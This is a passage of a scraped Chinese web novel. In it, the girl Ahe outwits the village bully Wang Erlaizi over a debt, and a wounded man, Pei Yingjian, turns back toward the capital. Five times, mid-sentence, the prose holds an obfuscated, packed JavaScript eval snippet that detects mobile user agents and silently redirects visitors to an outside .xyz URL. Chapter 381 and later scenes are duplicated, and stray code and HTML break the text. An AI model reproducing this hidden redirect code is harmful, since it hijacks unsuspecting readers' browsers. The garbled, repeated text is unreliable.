“我家本是京中商户,只因……只因吏部侍郎家的公子看上了我,想要强抢我为妾,我不从,我爹娘……我爹娘去与他们理论,竟被他们活活打死!” “我爹娘临死前,拼死抓伤了那个禽兽,他们恼怒不已,便要杀我灭口!我……我是一路逃到这里的啊!” 她声泪俱下,额头重重磕在地上,哭得肝肠寸断。 “公子,您快走吧!是我连累了您!他们人多势众,您……您斗不过他们的!您快走,不要管我了!” 她一边说着“真心实意”的劝告,一边用眼角的余光,死死地盯着裴应见的反应。 她赌,赌他那所剩无几的神智,分不清真假。 她更赌,赌他骨子里那份莫名的、连他自己都不知道的“善”。 裴应见就那么定定地看着她。 看着她娇美的脸蛋上挂满泪痕,看着她瘦弱的肩膀因恐惧而不住颤抖,看着她那副楚楚可怜,却又拼命想把他推开的模样。 时间仿佛在这一刻凝固了。 姜飞飞的心几乎要从胸腔里跳出来。 成了,还是败了? 就在她快要撑不住的时候,他终于开了口。 声音依旧冷硬,却像是带着某种不容置喙的力量。 “莫怕。” “有我在。” 姜飞飞猛地抬起头,不敢置信地看着他。 而她的心底,一股狂喜,已如火山般轰然爆发。 拿捏住他了! …… 渡口村。 天刚蒙蒙亮,海面上便泛起一层灰白色的鱼肚。 咸腥的海风卷着湿漉漉的雾气,吹得渡口码头上那些晾晒的渔网不住地滴水。 村里的男人们大多已经出了海,剩下的妇人、老者,三三两两地聚在村口的大榕树下,一边缝补着渔网,一边压低了声音,交换着村里最新的奇闻。 “听说了没?就那王二癞子,昨儿个带人去顾老实家,被人给打了!” “打了?谁那么大胆子?王二癞子那可是**不吐骨头的主儿!” “还能是谁,顾家那三兄弟呗!说是那王二癞子想抢他们家新捡回来的那个闺女,三兄弟正好赶回来,好一顿打,把王二癞子手都给打折了!” “哟!真的假的?顾家那三块料,平时看着闷不吭声的,这么有种?” 说话的是村西头的屠户张二麻子的婆娘王家婶子,她撇了撇嘴,一脸不信。 正说着,顾家三兄弟扛着渔具,从村道那头走了过来。 人群一下子静了,十几双眼睛齐刷刷地望了过去,目光里混杂着好奇、探究,还有几分说不清的敬畏。 顾家老大顾大山面色沉稳,目不斜视地往前走。 老三顾石头脸上还带着青肿,梗着脖子,一副不服气的模样。 唯独老二顾小川,嘴角噙着一丝若有似无的笑意,眼神活泛。 “石头,你脸这是咋了?真跟王二癞子干仗了?”王二麻子家的最是嘴快,扯着嗓子就问,“你们真的把王二癞子打跑啦?” 顾石头是个实诚性子,闻言脸一红,下意识就想开口:“不是,是阿禾她……” 话没说完,旁边伸来一只手,重重按在了他的肩膀上。 顾大山沉着脸,冲他摇了摇头。 顾小川已经笑嘻嘻地接过了话头,他故意挺了挺胸膛,让衣衫下包扎的伤口显得更明显些: “王家婶子,那王二癞子都欺负到咱们家门口了,我们当儿子的,还能看着爹娘受辱不成?别说他王二癞子,就是天王老子来了,也得跟他碰一碰!” 他这番话说得豪气干云,周围的村民听得连连点头,看他们兄弟三人的眼神都变了。 “好样的!就该这么打!那王二癞子早就该教训了!” “可不是,以后看他还敢不敢在村里横!” 在一片叫好声中,村长拄着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿禾眼睛弯弯:“就是官府规定,不管月息多少,借多少年,最终所还的利息不得超过本金之数,如果超过了,也是犯法的!” 第380章 你别乱来 王二癞子和他的那个朋友都听懵了。 麻子脸男人隔着门缝看着阿禾,眼神里满是惊奇,忍不住嘀咕: “嘿,没想到这野丫头还是个懂行的。” 王二癞子脸上青白交加,嘴硬道: “你……你少在这里胡说八道!我不管什么三分四分,欠债还钱,天经地义!” “当然要还。”阿禾笑眯眯地点头,“所以我今天就是来还钱的。除去之前还您的八两,还欠十二两,我今天一并还清。村口的大伯大婶们可都看着我往你家来的,你要是不开门收钱,那可就不是我们顾家赖账了。到时候上了公堂,这延误的过错可就在你身上,只怕官府还要追究你个讹诈不清呢。” “你放屁!什么时候还过八两了?!”王二癞子急了眼,脱口而出。 “张泉叔和李四伯可以作证。”阿禾依旧笑意盈盈。 王二癞子像是抓到了救命稻草,顿时冷笑起来: “他们?呵,你以为他们会帮你们说话?他们跟谁亲,你心里没数吗?到时候上了公堂,他们做不做证,还在两说呢!” 他以为这下总算拿捏住了对方的软肋。 谁知,阿禾脸上的笑容却变得更加灿烂,那双清澈的眼睛弯成了两道月牙,纯良又无害。 “是吗?”她歪了歪头,语气天真,“那我改天也去找张泉叔和李四伯,好好跟他们……讲讲道理。” “说不定,他们就愿意说了呢。” 那轻柔的尾音,像一片羽毛,却带着千斤的重量,砸在王二癞子的心上。 他脸上的血色“唰”一下褪得干干净净,吊着胳膊的身体,竟控制不住地抖了一下。 旁边的麻子脸男人也不是傻子,看到王二癞子这副活见鬼的模样,再联想到他刚才的吹嘘和此刻的恐惧,一个念头如闪电般劈进脑海。 他倒吸一口凉气,不敢置信地瞪大了眼,看看阿禾那纤细的身板,又看看抖如筛糠的王二癞子。 “二哥……你这胳膊……该不会是……” 他指着门外阿禾,声音都变了调。 “……是被这丫头片子打的吧?!” 王二癞子顿时想起了那天挨打时的情形。 天知道,他连这个丫头到底是怎么出手的都没看清啊。 现在想起来,他还是浑身发冷! 被这么一问,王二癞子顿时浑身一哆嗦,像是被踩了尾巴的猫,瞬间炸了**: “你,你**胡吣什么!老子的胳膊是自己摔的!跟这丫头片子有屁的关系!” 他吼得声色俱厉,可那躲闪的眼神和发白的嘴唇,却把他卖了个底朝天。 那麻子脸也不是真傻,一看他这副模样,哪里还有不明白的。 他再看向院中那个笑意盈盈的纤细少女时,眼神已经彻底变了,像是见了活阎王。 阿禾却像是没听见他们的对话,脸上的笑容反而更真切了些。 她往前又走了两步,语气里带着十足的诚恳: “二舅,你别误会。我今天来,其实是来给你道歉的。” “上一次……确实是我鲁莽了,下手不知轻重,害得二舅受了这么重的伤,我心里实在过意不去。” 她说着,还煞有介事地对着王二癞子的屋门门板福了一福,姿态谦卑极了。 王二癞子一愣,有些摸不着头脑。 这丫头……转性了? 然而,阿禾下一句话,就让他的脸瞬间涨成了猪肝色。 “不过嘛,”阿禾抬起头,眨了眨眼,一脸的天真无邪,“毕竟是二舅你们先动的手,想要欺负我爹娘,这汤药费……我就不跟您要了。咱们还是说说那十二两银子的事,你看,这事儿今天能不能就这么了了?” 王二癞子气得倒仰,一口气堵在胸口,差点没上来。 什么叫汤药费不跟我要了? 合着我这胳膊白折了,还得谢谢你呗?! “没得商量!”他恼羞成怒,也顾不上害怕了,唾沫星子横飞,“十二两?老子告诉你,现在没有一百二十两,这事儿没完!老子这就去报官,告你们蓄意伤人!” 他心里盘算着,这丫头再厉害,总不敢在光天化日之下**。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114074|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要自己咬**不松口,她一个黄毛丫头能有什么办法? 谁知,阿禾听完,非但没被吓住,反而“噗嗤”一声笑了出来。 “好啊。” 她点了点头,然后,当着王二癞子的面,慢悠悠地走到了那扇破烂的屋门前。 “既然二舅不愿意开门商量,那我只好……请你出来了。” 话音刚落,她抬起手,“砰砰”地拍了两下门板。 那力道,竟让整扇门都跟着震了三震! 王二癞子吓得魂飞魄散,刚才那点豪气瞬间烟消云散,连滚带爬地冲到门后,用后背死死抵住门板,声嘶力竭地尖叫: “你干什么!你别乱来!” “我同意了!我同意了还不行吗!”他急中生智,大喊道,“你先回去!等我回头找了中间人,咱们再好好商量!” 门外的声音却不依不饶,带着一丝执拗的笑意:“不行呀,我今天必须把钱还给你。不然你回头又说我们赖账,怎么办?” 砰! 又是一下,比刚才更重。 王二癞子感觉自己的五脏六腑都快被震出来了,他惊恐地回头,冲着那麻子脸吼道:“还愣着干什么!快!拿东西把门顶上!” 麻子脸也吓坏了,手忙脚乱地就要去搬屋里的柜子。 可他晚了。 只听“轰”的一声巨响,石破天惊! 那扇本就摇摇欲坠的破木门,像是被攻城的巨木撞中,整个门框都飞了出去,门板四分五裂,木屑漫天! 烟尘弥漫中,阿禾那纤瘦的身影,就站在门口,逆着光,像个从地狱里走出来的修罗。 关键她还歪着脑袋,打量着屋里的一切,脸上一派天真。 屋子里,死一般的寂静。 王二癞子和麻子脸,两个人,两张嘴,都张成了能塞进一个鸡蛋的形状,傻了。 还是麻子脸反应快,他腿一软,差点跪下,随即一个激灵,连滚带爬地就往院子冲,一边跑还一边语无伦次地大喊: “不关我的事!我……我是来串门的!我什么都没看见!” 第381章 我真的不会再打你了 阿禾看着他屁滚尿流的背影,还笑眯眯地挥了挥手:“慢走呀。” 屋子里,只剩下王二癞子一个人。 他背靠着冰冷的墙壁,看着一步步走近的阿禾,双腿抖得像是在打摆子。 “我……我警告你!你……你不能再打我了!”他嘴唇哆嗦着,从牙缝里挤出威胁,“再打……再打就要出人命了!你这是犯法的!” “我知道呀。” 阿禾在他面前站定,歪了歪头,脸上的笑容纯良又无害。 “所以我不是说了吗?” “我今天,是来跟你讲道理的。” 她话音刚落,王二癞子再也撑不住,两眼一翻,双腿一软,竟是直挺挺地顺着墙根滑了下去,一屁股坐在了地上。 就在这时,院门口人影一晃。 刚才逃走的麻子脸,竟然又跑了回来。 王二癞子像是溺水的人抓住了最后一根浮木,眼中爆发出狂喜的光芒,嘶声喊道:“好兄弟,快!快去叫人!” 然而,麻子脸却没动,只是惊恐地往旁边让了让。 紧接着,一个拄着拐杖的身影,在一大群村民的簇拥下,出现在了院门口。 正是村长。 村长身后跟着顾小川,还有村里好些个闻讯赶来的男女老少,一个个探头探脑,当看清院子里那扇不翼而飞的门和满地狼藉时,全都倒吸了一口凉气。 王二癞子一见村长,像是见了救星,也顾不上屁股底下的土,手脚并用地爬过去,一把抱住村长的腿,哭嚎起来: “村长!村长您可要为我做主啊!这顾家的野丫头……她无法无天了!她光天化日之下闯进我家,砸了我的门,还要……还要**啊!” 众人一片哗然,目光齐刷刷地投向院中那个依旧站得笔直的纤瘦身影。 阿禾脸上不见丝毫慌乱,她甚至还对着村长微微一笑,点了点头,算是打过招呼。 原来阿禾来的路上,确实是故意跟好多村民都打了招呼,村里人都知道她自己一个姑娘家要来跟王二癞子商量钱的事了。 王二癞子不是好人,大家伙哪能看着这么一个小姑娘羊入虎口,急忙去报告了村长。 村长这就带着人来救她了。 但是现在眼前的情况…… “阿禾,这……这门是怎么回事?”村长皱紧了眉头,拐杖在地上重重一顿。 “门是我撞开的。”阿禾承认得干脆利落,语气平静得像是在说今天天气不错,“要是坏了,我们家赔。但是这事儿,今天必须有个了断,拖下去对谁都没好处。正好村长伯伯您来了,不如就在这儿,当着大家伙儿的面,把话说清楚。” 王二癞子还想撒泼,闻言却是一噎。 他本想仗着人多,把事情闹大,逼顾家多赔钱。 可看这丫头的意思,竟是半点不怕,反而想借着这个场子把事情彻底掰扯清? “没什么好说的!”王二癞子眼珠子一转,梗着脖子喊,“欠债还钱!一百两,少一文都不行!” 阿禾闻言,非但不恼,反而柔声细语地对他说道:“二舅,您别担心。我说了,今天就是来讲道理的。” 她往前走了半步,声音放得更软了,那双清澈的眼睛里满是真诚。 “我真的不会再打您了,也不会仗着村长伯伯和乡亲们人多,就欺负您。您看,我今天连您的衣角都没碰一下呢。” 这话一出,院子里瞬间静得落针可闻。 所有人都听懂了。 不会“再”打您了? 那意思就是……之前真的打过?! 村民们的眼神在阿禾那纤细的手腕和王二癞子吊着的胳膊之间来回扫视,一个个表情精彩纷呈,震惊、怀疑、恍然大悟,最后都化作了难以言喻的古怪。 “我的天……王二癞子那胳膊,真是……真是她……” “吹了半天牛,说是跟顾家三兄弟打的,闹了半天,是被一个丫头片子给……” 议论声虽小,却像无数根针,扎得王二癞子满脸通红,最后变成了猪肝色。 他拼命维护的最后一点颜面,被阿禾这句轻飘飘的“真心诚意”的劝慰,撕得粉碎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114075|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你……你给老子闭嘴!”王二癞子气急败坏地吼道,恨不得找个地缝钻进去。 阿禾却是一脸不解,歪了歪头,那模样纯真极了:“二舅,我说的都是真心话呀。” 王二癞子一口老血堵在喉咙口,差点当场昏过去。 他算是看明白了,跟这丫头斗,他连骨头渣子都剩不下! “好!算就算!”他几乎是从牙缝里挤出这几个字,“就按你说的,二十两!还了那八两,还欠十二两!拿钱来!” “好。”阿禾见他松口,笑得眉眼弯弯,“不过咱们得先立个字据,免得日后再生事端。” 她环视一圈,目光落在村长身上:“村长伯伯,可否借笔墨一用?” 很快,有人从家里取来了笔墨纸砚。 在所有人的注视下,阿禾挽起袖子,提起笔。 众人本以为她一个小野丫头,能写出字就不错了,谁知她一落笔,所有人都愣住了。 那手腕悬空,笔走龙蛇,一行行清秀又不失风骨的小楷,跃然纸上。 字迹工整漂亮,比村里最有学问的老秀才写的还好! 写完,她吹了吹墨迹,将字据递到村长面前。 “……欠王氏十二两,顾氏阿禾承诺,七日之内,悉数还清。恐口无凭,立此为据。” 村长看着那字据,半晌说不出话来。 王二癞子瞪大眼睛:“立字据干什么,银子呢!” 阿禾眉眼弯弯:“银子啊。我没带在身上,这不是写了吗,七日之内,一定还清……若是还不清的话,您再按息计利,我们顾家绝无二话。” 王二癞子这才算明白过来,原来这丫头所说的来还钱,来解决事,其实都是假的! 从最开始她就存的是再写一个欠条的心! 王二癞子只觉得自己狠狠吃了一个大亏,偏偏还没地方生气。 他整个人都快要气冒烟了。 偏偏村长还在旁边看着,他一点办法也没有。 最后只能被逼着在新欠条上按了手印,又把原来那张欠条还给了阿禾。 第381章 我真的不会再打你了 阿禾看着他屁滚尿流的背影,还笑眯眯地挥了挥手:“慢走呀。” 屋子里,只剩下王二癞子一个人。 他背靠着冰冷的墙壁,看着一步步走近的阿禾,双腿抖得像是在打摆子。 “我……我警告你!你……你不能再打我了!”他嘴唇哆嗦着,从牙缝里挤出威胁,“再打……再打就要出人命了!你这是犯法的!” “我知道呀。” 阿禾在他面前站定,歪了歪头,脸上的笑容纯良又无害。 “所以我不是说了吗?” “我今天,是来跟你讲道理的。” 她话音刚落,王二癞子再也撑不住,两眼一翻,双腿一软,竟是直挺挺地顺着墙根滑了下去,一屁股坐在了地上。 就在这时,院门口人影一晃。 刚才逃走的麻子脸,竟然又跑了回来。 王二癞子像是溺水的人抓住了最后一根浮木,眼中爆发出狂喜的光芒,嘶声喊道:“好兄弟,快!快去叫人!” 然而,麻子脸却没动,只是惊恐地往旁边让了让。 紧接着,一个拄着拐杖的身影,在一大群村民的簇拥下,出现在了院门口。 正是村长。 村长身后跟着顾小川,还有村里好些个闻讯赶来的男女老少,一个个探头探脑,当看清院子里那扇不翼而飞的门和满地狼藉时,全都倒吸了一口凉气。 王二癞子一见村长,像是见了救星,也顾不上屁股底下的土,手脚并用地爬过去,一把抱住村长的腿,哭嚎起来: “村长!村长您可要为我做主啊!这顾家的野丫头……她无法无天了!她光天化日之下闯进我家,砸了我的门,还要……还要**啊!” 众人一片哗然,目光齐刷刷地投向院中那个依旧站得笔直的纤瘦身影。 阿禾脸上不见丝毫慌乱,她甚至还对着村长微微一笑,点了点头,算是打过招呼。 原来阿禾来的路上,确实是故意跟好多村民都打了招呼,村里人都知道她自己一个姑娘家要来跟王二癞子商量钱的事了。 王二癞子不是好人,大家伙哪能看着这么一个小姑娘羊入虎口,急忙去报告了村长。 村长这就带着人来救她了。 但是现在眼前的情况…… “阿禾,这……这门是怎么回事?”村长皱紧了眉头,拐杖在地上重重一顿。 “门是我撞开的。”阿禾承认得干脆利落,语气平静得像是在说今天天气不错,“要是坏了,我们家赔。但是这事儿,今天必须有个了断,拖下去对谁都没好处。正好村长伯伯您来了,不如就在这儿,当着大家伙儿的面,把话说清楚。” 王二癞子还想撒泼,闻言却是一噎。 他本想仗着人多,把事情闹大,逼顾家多赔钱。 可看这丫头的意思,竟是半点不怕,反而想借着这个场子把事情彻底掰扯清? “没什么好说的!”王二癞子眼珠子一转,梗着脖子喊,“欠债还钱!一百两,少一文都不行!” 阿禾闻言,非但不恼,反而柔声细语地对他说道:“二舅,您别担心。我说了,今天就是来讲道理的。” 她往前走了半步,声音放得更软了,那双清澈的眼睛里满是真诚。 “我真的不会再打您了,也不会仗着村长伯伯和乡亲们人多,就欺负您。您看,我今天连您的衣角都没碰一下呢。” 这话一出,院子里瞬间静得落针可闻。 所有人都听懂了。 不会“再”打您了? 那意思就是……之前真的打过?! 村民们的眼神在阿禾那纤细的手腕和王二癞子吊着的胳膊之间来回扫视,一个个表情精彩纷呈,震惊、怀疑、恍然大悟,最后都化作了难以言喻的古怪。 “我的天……王二癞子那胳膊,真是……真是她……” “吹了半天牛,说是跟顾家三兄弟打的,闹了半天,是被一个丫头片子给……” 议论声虽小,却像无数根针,扎得王二癞子满脸通红,最后变成了猪肝色。 他拼命维护的最后一点颜面,被阿禾这句轻飘飘的“真心诚意”的劝慰,撕得粉碎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114075|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你……你给老子闭嘴!”王二癞子气急败坏地吼道,恨不得找个地缝钻进去。 阿禾却是一脸不解,歪了歪头,那模样纯真极了:“二舅,我说的都是真心话呀。” 王二癞子一口老血堵在喉咙口,差点当场昏过去。 他算是看明白了,跟这丫头斗,他连骨头渣子都剩不下! “好!算就算!”他几乎是从牙缝里挤出这几个字,“就按你说的,二十两!还了那八两,还欠十二两!拿钱来!” “好。”阿禾见他松口,笑得眉眼弯弯,“不过咱们得先立个字据,免得日后再生事端。” 她环视一圈,目光落在村长身上:“村长伯伯,可否借笔墨一用?” 很快,有人从家里取来了笔墨纸砚。 在所有人的注视下,阿禾挽起袖子,提起笔。 众人本以为她一个小野丫头,能写出字就不错了,谁知她一落笔,所有人都愣住了。 那手腕悬空,笔走龙蛇,一行行清秀又不失风骨的小楷,跃然纸上。 字迹工整漂亮,比村里最有学问的老秀才写的还好! 写完,她吹了吹墨迹,将字据递到村长面前。 “……欠王氏十二两,顾氏阿禾承诺,七日之内,悉数还清。恐口无凭,立此为据。” 村长看着那字据,半晌说不出话来。 王二癞子瞪大眼睛:“立字据干什么,银子呢!” 阿禾眉眼弯弯:“银子啊。我没带在身上,这不是写了吗,七日之内,一定还清……若是还不清的话,您再按息计利,我们顾家绝无二话。” 王二癞子这才算明白过来,原来这丫头所说的来还钱,来解决事,其实都是假的! 从最开始她就存的是再写一个欠条的心! 王二癞子只觉得自己狠狠吃了一个大亏,偏偏还没地方生气。 他整个人都快要气冒烟了。 偏偏村长还在旁边看着,他一点办法也没有。 最后只能被逼着在新欠条上按了手印,又把原来那张欠条还给了阿禾。 第382章 求见阿禾姑娘 他全程黑着脸,只觉得今天这人丢到姥姥家了。 而阿禾收好字据,对着众人福了一福,脸上又恢复了那副乖巧温顺的模样。 “多谢村长伯伯和各位叔伯婶子为我做主。” 说完,她转身,就在众人复杂又敬畏的目光中,走出了院子。 …… 阿禾刚走出院子没多远,顾小川就一阵风似的追了上来,脸上还带着没褪尽的激动和崇拜。 “阿禾!你等等我!” 他几步蹿到阿禾身边,压低了声音,眼睛亮得像淬了火星子: “你刚才……真是太厉害了!你是没瞧见,那王二癞子脸都绿了!还有村长伯伯,他看那字据的时候,眼珠子都快瞪出来了!” “你这回啊,可就算是在咱们渡口村出了名了!咱们顾家有你这么个闺女,那可是脸上真有光!” 阿禾侧头看他,眉眼弯弯,脸上是事了拂衣去的轻松。 回到家,顾老实和顾大娘正焦急地在院里来回踱步,一看见他们,立马围了上来。 “怎么样了?阿禾,那王二癞子没为难你吧?”顾大娘一把抓住阿禾的手,上上下下地打量,生怕她少了一根头发。 不等阿禾开口,顾小川已经抢着开了腔,他一拍胸脯,眉飞色舞地开了口,那架势,活像个说书先生。 “爹,娘!大哥,石头!你们是没去,那场面……啧啧!” 他绘声绘色地把事情从头到尾讲了一遍,说到阿禾怎么引经据典,怎么把王二癞子说得哑口无言,又说到她怎么轻描淡写地承认胳膊是她打的,最后说到那石破天惊的一“撞”! “……就听‘轰隆’一声,那破门,哗啦一下,全碎了!王二癞子当时就瘫了,跟滩烂泥似的!” 顾小川讲得唾沫横飞,顾家其他人听得目瞪口呆。 良久,顾大娘才回过神,拍着胸口,后怕地念叨:“哎哟我的老天爷,这……这要是真伤了人可怎么好……” 可话虽如此,她眼底的喜悦和骄傲却是藏不住的。 一家人又是后怕又是解气,阿禾又把那张欠条拿出来,交给顾老实。 顾老实两把撕了个粉碎。 院子里的气氛总算松快下来。 但这份松快没持续多久,顾老实吧嗒吧嗒抽了两口旱烟,愁容又爬上了脸。 “事情是了了,可这七天,上哪儿去凑那十二两银子啊……” 一句话,又把众人拉回了现实。 是啊,十二两银子,对他们这种靠天吃饭的渔家来说,不吃不喝也得攒上好几年。 七天之内,根本就是不可能的事。 到时候还不上,字据在人家手里,利滚利的,麻烦更大。 刚刚还喜气洋洋的院子,一下子又沉寂了下来。 “爹,娘,别愁了。” 阿禾的声音清清浅浅地响起,她走到灶房门口,撩开帘子,探出头来笑道: “我有法子。先做饭吧,我肚子都饿了。” 她说着,就挽起袖子帮着顾大娘生火烧水,动作麻利自然,仿佛那十二两银子只是个无关紧要的小数目。 一家人看着她笃定的模样,心里的焦躁竟也莫名地平复了几分。 晚饭是鱼汤泡饭,配着一碟咸菜,简单却暖胃。 一家人围着桌子,听着顾小川还在喋喋不休地复述白天的“光辉战绩”,气氛温馨而融洽。 …… 夜深了。 海浪拍打着礁石的声音,远远地传来,单调而催眠。 可顾老实和顾大娘却翻来覆去地睡不着。 “他爹,你说……阿禾真有法子?”顾大娘压低了声音,在黑暗中推了推身边的老伴。 “唉……”顾老实长叹一口气,“这孩子主意大,可十二两银子,不是小数目啊……” 正发愁呢,院门外忽然传来一阵极轻的、鬼鬼祟祟的“叩叩”声。 声音很小,要不是夜里静,根本听不见。 夫妻俩同时一惊,对视一眼。 “谁啊?这么晚了……”顾老实披上衣裳,摸索着下了床。 他走到院里,隔着门板警惕地问:“谁在外面?” 门外的人顿了一下,才传来一个男人压得极低的、带着几分扭捏的声音:“那个……是顾大哥吗?我是赵老四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124226|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 赵老四? 顾老实眉头一皱。这赵老四家跟他们家就隔着两条巷子,早年因为渔船停靠岸问题闹过不愉快,虽然后来不吵了,可两家也十几年没怎么来往过,平日里在村里碰见,都是互相扭开头当没看见的。 他这么晚来干嘛? 顾老实心里犯着嘀咕,但还是拉开了门栓。 门外,赵老四果然局促地站在那儿,手里还拎着一个篮子,用块布盖着。 见门开了,他黝黑的脸在月光下显得有些发红,眼神躲闪着不敢看顾老实。 “顾……顾大哥。”他把手里的篮子往前一递,“这是……这是我家婆娘自己攒的几个鸡蛋,不值什么,给……给大嫂补补身子。” 顾老实哪里肯收,连连摆手:“使不得使不得,四兄弟,你这是干啥?有话就说。” 赵老四见他不收,急得抓耳挠腮,在原地转了半圈,最后才一咬牙,吞吞吐吐地开了口。 “那个……顾大哥,我不跟你绕弯子了。” 他把声音压得更低,几乎成了气音,眼睛不住地往里屋的方向瞟。 “我……我是来……是来求见阿禾姑娘的。” 顾老实一愣。 只听赵老四继续道:“我……我家里出了点事,想……想跟阿禾姑娘请教请教。你放心,顾大哥,我不会白问的!这篮子鸡蛋你先收下,要是事儿能成,我……我还有重谢!” 院子里,夜风卷起几片落叶。 顾老实看着眼前这个昔日里跟自己红过脸的邻居,此刻却是一脸恳求,满眼希冀地望着自家屋里。 他彻底震惊了。 …… 清晨。 破庙里的篝火早已熄灭,只余下几缕青灰色的烟,在清晨的寒气中懒懒地散开。 天光从破败的屋顶窟窿里透进来,照在裴应见空洞的脸上。 他动了,接着突然毫无征兆地站起身。 那只盛过肉汤的瓦罐,还带着余温,被他看也未看地扔在一旁。 一夜的休整,似乎只是让他体内那股无名的躁动沉淀得愈发执拗。 他要走了。 第383章 他回来了 姜飞飞几乎是立刻就从浅眠中惊醒,她蜷缩在草堆里,浑身冰冷,一睁眼,便看到那个男人鬼魅般的身影已经立在庙门口,正要踏入那片荒芜。 她的心猛地提到了嗓子眼。 “公子你要去哪儿?”她连滚带爬地站起来,声音急切。 裴应见的脚步顿住,却没有回头。 他只是抬起手指向东南方向,那里的天际,是一片灰蒙蒙的、看不出任何希望的混沌。 一个字都懒得多说。 姜飞飞的脑子飞速转动,看着他那决绝的背影,昨夜那番梨花带雨的哭诉,仿佛只是演给了一块石头看。 不行,绝不能让他就这么走了! “好巧!”她想也不想地冲口而出,快步追了上去,脸上已经换上了一副惊喜交加的神情,“我也要去东南,我……我有个远房的表亲在那边,此番正是去投奔他的!” 她跑到他身侧,仰起那张沾着灰、却显得格外楚楚可怜的脸。 “这世道不太平,一个人上路,我心里总是害怕……公子,我们结伴同行,路上也好有个照应,行吗?” 裴应见的目光终于从远方收回,落在了她身上。 他审视着她,那眼神依旧是空的,没有任何情绪,像是在评估一件没有生命的物件。 姜飞飞被他看得心头发毛,却只能强撑着,将那份怯懦与期盼演得十足。 许久,他才几不可察地点了一下头。 姜飞飞几乎要喜极而泣。 …… 两人一前一后,走出了破庙。 清晨的冷风,像刀子刮在人脸上。 谁知才走出不到一里地,前方本来平静的裴应见身形突然毫无预兆地一滞。 他猛地停下脚步,高大的身躯剧烈地晃动了一下。 “你怎么……” 姜飞飞话未问完,便惊恐地看到他突然俯下身,接着, “噗——” 一口鲜血,猛地从他口中喷涌而出! 那血带着骇人的暗红色,溅在枯黄的草地上,触目惊心。 “你没事吧?!”姜飞飞吓坏了,下意识就想上前去扶他。 裴应见却猛地抬手,一把将她推开。 力道之大,让姜飞飞踉跄着跌倒在地。 他抬起头,那双原本死寂空洞的眼睛里,此刻竟翻涌着一种她完全看不懂的、狂乱的焦躁。 仿佛有一只无形的手,从遥远的地方伸来,狠狠攥住了他的心脏,让他痛不欲生。 “你自便。” 他从齿缝里挤出三个字。 说完,他竟是毫不犹豫地转过身,朝着来时的路——京城的方向,跌跌撞撞地往回走。 姜飞飞彻底懵了,她从地上爬起来,冲着他摇摇欲坠的背影大喊:“喂!你不是要去东南吗?你到底怎么了?!” 回答她的,只有他越发踉跄,却也越发坚定的背影。 姜飞飞不知道,就在刚才那个瞬间,他突然感觉到在京城的方向,在那个囚禁着他的牢笼里。 有什么比他自己的性命更重要的东西……出事了。 东南,可以等。 她,不能。 …… 郡主府内,气氛压抑得能拧出水来。 所有的下人护卫都屏着呼吸,连走路都踮着脚尖,生怕弄出半点声响,惊扰了主院里那位不知死活的郡主,和那位喜怒无常的天残怪人。 偏房内,药味苦涩。 月娘躺在床上,浑身缠满了绷带,依旧能看到底下渗出的斑斑血迹。 她发着高烧,嘴唇干裂,双目紧闭,已然陷入了深度的昏迷。 一个婢女跪在床边,手里端着一碗漆黑的药汁,抖得如同风中落叶。 “郡主……郡主,您喝药啊……” 她试了几次,想用汤匙将药喂进去,可药汁刚到嘴边,便顺着月娘苍白的嘴角流了下来,根本喂不进分毫。 就在婢女急得快要哭出来时,门口的光,忽然被一道身影挡住了。 那身影高大,却褴褛不堪,身上还带着未干的血污与泥土,像个从乱葬岗里爬出来的野鬼。 婢女吓得“啊”一声尖叫,手里的药碗险些脱手。 裴应见却像是没看见她,他的目光穿过这满室的苦涩,死死地锁在床上那个奄奄一息的人影身上。 他一步步走过去。 